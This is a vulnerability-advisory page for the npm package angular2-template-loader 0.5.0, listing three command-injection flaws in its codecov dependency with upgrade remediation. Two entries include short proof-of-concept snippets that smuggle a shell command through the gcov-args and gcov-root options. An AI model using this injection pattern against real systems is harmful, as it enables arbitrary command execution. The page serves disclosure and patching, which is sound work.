angular2-template-loader@0.5.0

Vulnerabilities

3 via 3 paths

Dependencies

60

Source

npm

Find, fix and prevent vulnerabilities in your code.

Severity
  • 3
Status
  • 3
  • 0
  • 0

medium severity

Command Injection

  • Vulnerable module: codecov
  • Introduced through: codecov@1.0.1

Detailed paths

  • Introduced through: angular2-template-loader@0.5.0 codecov@1.0.1
    Remediation: Upgrade to angular2-template-loader@0.6.0.

Overview

codecov is a npm package for uploading reports to Codecov.

Affected versions of this package are vulnerable to Command Injection. The value provided as part of the gcov-args argument is executed by the exec function within lib/codecov.js.

PoC by JHU System Security Lab

var root = require("codecov");
var args = {
  "options": {
    'gcov-args': "& touch PWNED &"
  }
}
root.handleInput.upload(args, function(){}, function(){});

Remediation

Upgrade codecov to version 3.6.2 or higher.

References

medium severity

Command Injection

  • Vulnerable module: codecov
  • Introduced through: codecov@1.0.1

Detailed paths

  • Introduced through: angular2-template-loader@0.5.0 codecov@1.0.1
    Remediation: Upgrade to angular2-template-loader@0.6.0.

Overview

codecov is a npm package for uploading reports to Codecov.

Affected versions of this package are vulnerable to Command Injection. The value provided as part of the gcov-root argument is executed by the exec function within lib/codecov.js. This vulnerability exists due to an incomplete fix of CVE-2020-7596.

PoC by JHU System Security Lab

var root = require("codecov");
var args = {
  "options": {
    'gcov-root': "& touch exploit &",
    'gcov-exec': ' ',
    'gcov-args': ' '
  }
}
root.handleInput.upload(args, function(){}, function(){});

Remediation

Upgrade codecov to version 3.6.5 or higher.

References

medium severity

Command Injection

  • Vulnerable module: codecov
  • Introduced through: codecov@1.0.1

Detailed paths

  • Introduced through: angular2-template-loader@0.5.0 codecov@1.0.1
    Remediation: Upgrade to angular2-template-loader@0.6.0.

Overview

codecov is a npm package for uploading reports to Codecov.

Affected versions of this package are vulnerable to Command Injection via the upload method.

Note: This vulnerability exists due to an incomplete fix of CVE-2020-7597.

Remediation

Upgrade codecov to version 3.7.1 or higher.

References